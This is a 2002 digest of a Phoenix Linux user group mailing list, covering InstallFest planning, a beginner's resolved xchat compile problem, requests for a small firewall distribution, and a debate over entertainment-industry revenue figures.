iQA/AwUBPP6WwCsk3ywszI1FEQL5bgCfaG8N5nSpmPHC3NUiEmxi98m2AOIAn3qb jSPWHTx7d9l7QEw7Crf6/jpm =2y4f -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:57:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 15:57:32 -0700 Subject: Contact for installfest In-Reply-To: <20020605202350.55136.qmail@web13904.mail.yahoo.com> References: <20020605202350.55136.qmail@web13904.mail.yahoo.com> Message-ID: <02060515573215.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bill is the coordinator for the Install Fest. And we will indubitably be keeping tabs on how successful every install goes and if a problem crops up, we should be noting the reason(s). On Wednesday 05 June 2002 13:23, you wrote: > I greatly apologize for asking this, since the answer > has already been stated, but who do we contact about > being able to help at the installfest? > > mike > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP6XXSsk3ywszI1FEQIPMACghWYiy7UUuP3GrP5SxQXOJoEfGSYAoM3/ XjIowsXjFSngpW9jsRMHW8d4 =xMOl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:06:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 16:06:38 -0700 (MST) Subject: InstallFest -- Status Message-ID: Here's everything I have to date. Please reply off-list with additions or corrections. ------------------------------- What: InstallFest When: 22 June 2002, 10am-4pm Where: Turquoise Room, Scottsdale Community College, Hwy. 101 & Pima Rd. Press release at: http://www.plugpresents.com/installfest ------------------------------- STATUS as of 2002-06-05 16:00 MST SCC Contact: G.D.Thurman Publicity: Jim Wejroch Press Release: Dennis Kibbe Flyer: Susan Henson Newbie classes (hope to have schedule before Fest): ______ Vendors: Alan Dayley Installations: (Prefer to have several names for each) RedHat: ______ ______ Alan Robert A.Klahn Mandrake: ______ ______ W.Lindley Debian: ______ ______ Robert A.Klahn Slackware: ______ Bruce Pettycrew BSD: ______ J.Francois General Assistance: _____ _____ Matt Alexander "kb" Presentations: per Thurman, we will have a room with video projector. - Intro to Linux/GNU/PLUG/Free/Open Software: 1. Linux/Open Source: Jim Wejroch 2. ______ <-- YOUR NAME HERE! 3. KDE: ______ or Jim Wejroch 4. ______ 5. Linux/Open Source: der.hans 6. ______ (Should have several folks to speak briefly). - Videotape, Stallman visit October 2001: Thurman - Other presentations: ________: ______ (Your chance to speak!) Food: per Thurman: - SCC to provide food stand. Outside food, non-alc. drink OK. - Food and drink are allowed in the Turquoise Room and Foyer area. Giveaways: - (see also Vendor above) - PLUG handouts: ______ ______ - PLUG business cards: Jim - Tux the Penguin, case badges, to all successful installs. Dennis Kibbe - SCC is going to give away the following books: + Just For Fun (The Story of an Accidental Revolutionary) + The Cathedral and Bazaar (Musings on the Linux and Open Source by an Accidental Revolutionary) + Open Sources (Voices from the Open Source Revolution) + Free as in Freedom (Richard Stallman's Crusade for Free Software) - Vendors: + Terra Soft: 10 packaged copies of Yellow Dog Linux 2.1. (Power PC) + TurboLinux: books & "goodies" CDROMs to give away - Mandrake 8.2 ______ - Debian ______ - RedHat 7.3 ______ - ___________ ______ <- Your favorite distro here! - Open Office, Mozilla 1.0. 10 copies, Matt Alexander Working computers for people to see. - Apple G3, der.hans (closed box) - ____________ <- KDE? - ____________ <- Gnome? - ____________ <-- need at least one with CD burner - ____________ <-- IPAQ or other platform? + Firewall Distro demos - __________ - __________ - FreeSCO: has one ready to go ----- MATERIALS LIST ----- Start of a list. Let me know which you can bring. Reply to me (not to all) with any additions / changes. Then we'll cc the pluglist. Ideally we'd have several folks with a "reserve" of items in their cars' trunks... GENERAL. - Markers, paper, tape -- for signs - Pens, pencils - Preprinted signs ("Install fest This Way" [left, right, straight]) - Easel, whiteboard, drymarkers - PLUG banner. Jim Wejroch HANDOUTS. - PLUG business cards Jim Wejroch - Flyers (We still need various handouts: Suggestions?) - Vendor materials - Supply of blank CDRs, and access to ISOs of several distributions on an operable computer with a CD burner. - Hardware Inventory / Waiver forms -- see http://www.vlug.org/ifht/ PARTS. - power strips / surge protectors (several folks pls bring) - network switch/hub & cables (Hans?) - extra network switch/hub & cables for Firewall demos - spare keyboards William Lindley - spare mice William Lindley - various converter plugs, screws, etc. - screwdrivers - network cards (PCI, ISA) - extra floppy drives, cdrom drives, video and sound cards (for folks with recalcitrant hardware?) - IDE, floppy cables FOOD. - _______ - _______ - _______ <--- sponsors? ----------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:31:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 16:31:26 -0700 Subject: xchat compile In-Reply-To: <20020605103211.A27101@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> Message-ID: <20020605163126.0bc28860.snoogans@qwest.net> its setting it to gcc, im assuming thats normal. I am completely new at this but from reading it looks like the only error it has is the /bin/sh: -o command not found. it looks to me like its trying to run "-o" as its own command but i could be completely wrong. Any other ideas? On Wed, 5 Jun 2002 10:32:11 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 04:27:04AM -0700, robert jorgenson wrote: > > okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... > > > > chimera:/home/bob/xchat-1.8.9# make > > make all-recursive > > make[1]: Entering directory `/home/bob/xchat-1.8.9' > > Making all in po > > make[2]: Entering directory `/home/bob/xchat-1.8.9/po' > > file=./`echo ca | sed 's,.*/,,'`.gmo \ > > && rm -f $file && PATH=../src:$PATH -o $file ca.po > > /bin/sh: -o: command not found > > make[2]: *** [ca.gmo] Error 127 > > make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' > > make[1]: *** [all-recursive] Error 1 > > make[1]: Leaving directory `/home/bob/xchat-1.8.9' > > make: *** [all-recursive-am] Error 2 > > chimera:/home/bob/xchat-1.8.9# > > > > First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) > > Looks to me like the Makefile isn't setting $(CC) properly. Check the > toplevel Makefile to see if it's redefining it to something bizarre. Since > it's an autoconf configure script, you'll likely have to edit the > po/Makefile and all other subdirectory's Makefiles as well. > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:29:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 16:29:14 -0700 Subject: InstallFest Tips? In-Reply-To: References: Message-ID: <200206051629.14175.voltage_spike@fastmail.fm> On Wednesday 05 June 2002 04:02 pm, der.hans wrote: > Hell, film, tv, music, and sports all probably top $35 billion on their > own. Granted, there's a lot of cross-over because sports get a lot of the > money from tv, but I find it hard to believe that the 'entertainment > sector' is only $35 billion. I think there is even more crossover than you imply. I think for many of us, the "technology industry" is the "entertainment sector". I know I spent $170 on a Sony Clie just to read books . . . -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:52:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 16:52:26 -0700 Subject: xchat compile In-Reply-To: <20020605163126.0bc28860.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 04:31:26PM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> Message-ID: <20020605165226.A28314@nadesico> On Wed, Jun 05, 2002 at 04:31:26PM -0700, robert jorgenson wrote: > its setting it to gcc, im assuming thats normal. I am completely new at > this but from reading it looks like the only error it has is the /bin/sh: -o > command not found. it looks to me like its trying to run "-o" as its own > command but i could be completely wrong. Any other ideas? On my box it compiles thusly: make all-recursive make[1]: Entering directory /home/mondoshawan/xchat-1.8.9' Making all in po make[2]: Entering directory /home/mondoshawan/xchat-1.8.9/po' rm -f cat-id-tbl.tmp sed -f ../intl/po2tbl.sed ./xchat.pot \ | sed -e "s/@PACKAGE NAME@/xchat/" > cat-id-tbl.tmp sed: Couldn't open file ../intl/po2tbl.sed if cmp -s cat-id-tbl.tmp ./cat-id-tbl.c; then \ rm cat-id-tbl.tmp; \ else \ echo cat-id-tbl.c changed; \ rm -f ./cat-id-tbl.c; \ mv cat-id-tbl.tmp ./cat-id-tbl.c; \ fi cat-id-tbl.c changed cd . && rm -f stamp-cat-id && echo timestamp > stamp-cat-id file=./echo ca | sed 's,.*/,,'.gmo \ && rm -f $file && PATH=../src:$PATH /usr/bin/msgfmt -o $file ca.po I'm guessing that it might not be finding the msgfmt program. Do a search for it on your box. When you find it, you'll have to redefine the Makefile's MSGFMT variable to point to it. Fortunately, it looks like you'll only need it for the files in the po/ directory, so only the Makefile in there will need to be edited. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:09:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 17:09:46 -0700 Subject: xchat compile In-Reply-To: <20020605165226.A28314@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> Message-ID: <20020605170946.3654dd76.snoogans@qwest.net> Okay after some searching i found out i didn't have it installed so installed the gettext package which had it in it. It is now in /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt GMSGFMT = PATH=../src:$$PATH MSGFMT = no i did ./configure again after i installed it. I really have no idea how i would change that to point to where it is or what most of that means. I would gather the MSGFMT = no part means it doesn't think i have it but im not sure. On Wed, 5 Jun 2002 16:52:26 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 04:31:26PM -0700, robert jorgenson wrote: > > its setting it to gcc, im assuming thats normal. I am completely new at > > this but from reading it looks like the only error it has is the /bin/sh: -o > > command not found. it looks to me like its trying to run "-o" as its own > > command but i could be completely wrong. Any other ideas? > > On my box it compiles thusly: > > > make all-recursive > make[1]: Entering directory /home/mondoshawan/xchat-1.8.9' > Making all in po > make[2]: Entering directory /home/mondoshawan/xchat-1.8.9/po' > rm -f cat-id-tbl.tmp > sed -f ../intl/po2tbl.sed ./xchat.pot \ > | sed -e "s/@PACKAGE NAME@/xchat/" > cat-id-tbl.tmp > sed: Couldn't open file ../intl/po2tbl.sed > if cmp -s cat-id-tbl.tmp ./cat-id-tbl.c; then \ > rm cat-id-tbl.tmp; \ > else \ > echo cat-id-tbl.c changed; \ > rm -f ./cat-id-tbl.c; \ > mv cat-id-tbl.tmp ./cat-id-tbl.c; \ > fi > cat-id-tbl.c changed > cd . && rm -f stamp-cat-id && echo timestamp > stamp-cat-id > file=./echo ca | sed 's,.*/,,'.gmo \ > && rm -f $file && PATH=../src:$PATH /usr/bin/msgfmt -o $file ca.po > > > I'm guessing that it might not be finding the msgfmt program. Do a search > for it on your box. When you find it, you'll have to redefine the Makefile's > MSGFMT variable to point to it. Fortunately, it looks like you'll only need > it for the files in the po/ directory, so only the Makefile in there will > need to be edited. > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:07:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 05 Jun 2002 17:07:56 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID:

Where do you change this option in HotMail ?  Didn't see anything in the "Options" folder.

Thanks

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Dunno about anybody else, but this text is unreadable to me. HTML
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From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:38:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 17:38:14 -0700 Subject: xchat compile In-Reply-To: <20020605170946.3654dd76.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 05:09:46PM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> Message-ID: <20020605173813.A30441@nadesico> On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > Okay after some searching i found out i didn't have it installed so > installed the gettext package which had it in it. It is now in > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > GMSGFMT = PATH=../src:$$PATH > MSGFMT = no > > i did ./configure again after i installed it. I really have no idea how i > would change that to point to where it is or what most of that means. I > would gather the MSGFMT = no part means it doesn't think i have it but im > not sure. Just change the line from MSGFMT = no to MSGFMT = /usr/bin/msgfmt Save the file, and do a 'make' -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:45:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 17:45:31 -0700 Subject: xchat compile In-Reply-To: <20020605173813.A30441@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> Message-ID: <20020605174531.3597265f.snoogans@qwest.net> i still get the exact same error after doing that ... Any ideas why it would do that? On Wed, 5 Jun 2002 17:38:14 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > Okay after some searching i found out i didn't have it installed so > > installed the gettext package which had it in it. It is now in > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > GMSGFMT = PATH=../src:$$PATH > > MSGFMT = no > > > > i did ./configure again after i installed it. I really have no idea how i > > would change that to point to where it is or what most of that means. I > > would gather the MSGFMT = no part means it doesn't think i have it but im > > not sure. > > Just change the line from > MSGFMT = no > to > MSGFMT = /usr/bin/msgfmt > > Save the file, and do a 'make' > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:03:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 18:03:28 -0700 Subject: xchat compile References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> Message-ID: <3CFEB4E0.F0FDD38D@qwest.net> Did you try to delete the config.cache file and rerun ./configure? robert jorgenson wrote: > > i still get the exact same error after doing that ... Any ideas why it would do that? > > On Wed, 5 Jun 2002 17:38:14 -0700 > mondoshawan@tank.dyndns.org wrote: > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > Okay after some searching i found out i didn't have it installed so > > > installed the gettext package which had it in it. It is now in > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > GMSGFMT = PATH=../src:$$PATH > > > MSGFMT = no > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > would change that to point to where it is or what most of that means. I > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > not sure. > > > > Just change the line from > > MSGFMT = no > > to > > MSGFMT = /usr/bin/msgfmt > > > > Save the file, and do a 'make' > > > > -- > > Thomas "Mondoshawan" Tate > > mondoshawan@tank.dyndns.org > > http://tank.webhop.org > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:12:36 -0700 Subject: xchat compile In-Reply-To: <3CFEB4E0.F0FDD38D@qwest.net> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> <3CFEB4E0.F0FDD38D@qwest.net> Message-ID: <20020605181236.7d0a9bcd.snoogans@qwest.net> Thanks that worked perfectly, Unfortunately i got a new error after about a minute ... /usr/bin/ld: cannot find -lperl and then make exits, any ideas on that one? On Wed, 05 Jun 2002 18:03:28 -0700 "Kevin Brown" wrote: > Did you try to delete the config.cache file and rerun ./configure? > > robert jorgenson wrote: > > > > i still get the exact same error after doing that ... Any ideas why it would do that? > > > > On Wed, 5 Jun 2002 17:38:14 -0700 > > mondoshawan@tank.dyndns.org wrote: > > > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > > Okay after some searching i found out i didn't have it installed so > > > > installed the gettext package which had it in it. It is now in > > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > > > GMSGFMT = PATH=../src:$$PATH > > > > MSGFMT = no > > > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > > would change that to point to where it is or what most of that means. I > > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > > not sure. > > > > > > Just change the line from > > > MSGFMT = no > > > to > > > MSGFMT = /usr/bin/msgfmt > > > > > > Save the file, and do a 'make' > > > > > > -- > > > Thomas "Mondoshawan" Tate > > > mondoshawan@tank.dyndns.org > > > http://tank.webhop.org > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:21:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:21:13 -0700 Subject: xchat compile In-Reply-To: <20020605181236.7d0a9bcd.snoogans@qwest.net> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> <3CFEB4E0.F0FDD38D@qwest.net> <20020605181236.7d0a9bcd.snoogans@qwest.net> Message-ID: <20020605182113.14c49601.snoogans@qwest.net> After reading the ld man page i decided i needed to install the perl development files and everything orked just fine! First time i ever got a compile to work :) Thanks for all your help! On Wed, 5 Jun 2002 18:12:36 -0700 "robert jorgenson" wrote: > Thanks that worked perfectly, Unfortunately i got a new error after about a minute ... > > /usr/bin/ld: cannot find -lperl > > and then make exits, any ideas on that one? > > On Wed, 05 Jun 2002 18:03:28 -0700 > "Kevin Brown" wrote: > > > Did you try to delete the config.cache file and rerun ./configure? > > > > robert jorgenson wrote: > > > > > > i still get the exact same error after doing that ... Any ideas why it would do that? > > > > > > On Wed, 5 Jun 2002 17:38:14 -0700 > > > mondoshawan@tank.dyndns.org wrote: > > > > > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > > > Okay after some searching i found out i didn't have it installed so > > > > > installed the gettext package which had it in it. It is now in > > > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > > > > > GMSGFMT = PATH=../src:$$PATH > > > > > MSGFMT = no > > > > > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > > > would change that to point to where it is or what most of that means. I > > > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > > > not sure. > > > > > > > > Just change the line from > > > > MSGFMT = no > > > > to > > > > MSGFMT = /usr/bin/msgfmt > > > > > > > > Save the file, and do a 'make' > > > > > > > > -- > > > > Thomas "Mondoshawan" Tate > > > > mondoshawan@tank.dyndns.org > > > > http://tank.webhop.org > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:36:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:36:27 -0700 Subject: firewall Message-ID: <20020605183627.786d605b.snoogans@qwest.net> Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... Parents Wintendo Box / Internet--qwest gateway box--4 port hub--[ \ 8 port hub--My main box Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:45:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 18:45:46 -0700 Subject: firewall References: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <3CFEBECA.B30192E5@qwest.net> Take a look at some of these: http://freshmeat.net/search/?q=floppy+firewall§ion=projects robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:00:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Wed, 5 Jun 2002 19:00:13 -0700 Subject: Who are the sponsors? Message-ID: <200206051900.13291.dennisk@sahuaro.f2s.com> If someone will give me a list of "offical" sponsors to be included in the PR I'll add that tonight and post it back to the list. Dennis From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:03:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 5 Jun 2002 21:03:53 -0400 (EDT) Subject: Entertainment "Sector" - was: InstallFest Tips? In-Reply-To: Message-ID: On Wed, 5 Jun 2002, der.hans wrote: > $35 billion? industry vs. sector? > > A couple of films this year have made over $100 million in the opening > weekend. Spider Man has over $300 million in the .us thus far. > > Hell, film, tv, music, and sports all probably top $35 billion on their own. > Granted, there's a lot of cross-over because sports get a lot of the money > from tv, but I find it hard to believe that the 'entertainment sector' is > only $35 billion. You are rightly incredulous. This is excerpted from: http://bpdg.blogs.eff.org/archives/000008.html The census report I'm wagering that was used to generate this figure is here (Census through 2000 for Arts, Entertainment, and Recreation Services): http://www.census.gov/svsd/www/sas71-2.pdf Line 71 is arts, entertainment and recreation. Line 711 is probably where Cory Doctorow's number originates. 38 billion in 2000, and it has probably dropped since then. Spectator sports account for 17 of that 38. However, if you poke around a bit more you find that television, radio, movies, and music are actually not in entertainment. They are in Information Sector Services. http://www.census.gov/svsd/www/sas51-2.pdf Books: 25 billion Magazines: 39 billion Movies: 53 billion Broadcast TV: 38 billion Cable: 67 billion Recorded Music: 12 billion Radio: 15 billion Software: 88 billion IT Services: 76 billion (I don't have the will to wade through the manufacturing reports to invalidate the 600 billion number) But I digress. It's propaganda. It's not supposed to be true. Truth is what civilized, respectable humans use to communicate with each other. Propaganda is what the RIAA, MPAA, EFF, and FSF use to affect the political process. Successful lobbyists do not become successful by being civilized and respectable. Likewise they are not likely to blur the distinction between propaganda and truth. I suspect that this constant immersion in lies is what ultimately turns once honorable persons, who set out to serve and protect, into corrupt politicians. They play the game for so long that they forget that there once was an underlying truth for which they were fighting. Is this good? Is it fair? Is it right? Of course not. But to me, that is not sufficient reason to turn my back on the process and let the MPAA and RIAA take away my right to own and operate a general purpose computer running a Free operating system. ------------------------------------------------------------------- "This time around, everything not forbidden is mandatory." "...Congress is willing to butcher the $600 billion tech industry to feed the $35 billion entertainment sector..." http://www.eff.org/blogs/bpdg/ ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:12:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Wed, 5 Jun 2002 19:12:32 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <000001c20cff$9e63ce50$0401a8c0@minkland.com> Freesco at http://www.freesco.org. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of robert jorgenson Sent: Wednesday, June 05, 2002 6:36 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: firewall Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... Parents Wintendo Box / Internet--qwest gateway box--4 port hub--[ \ 8 port hub--My main box Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing 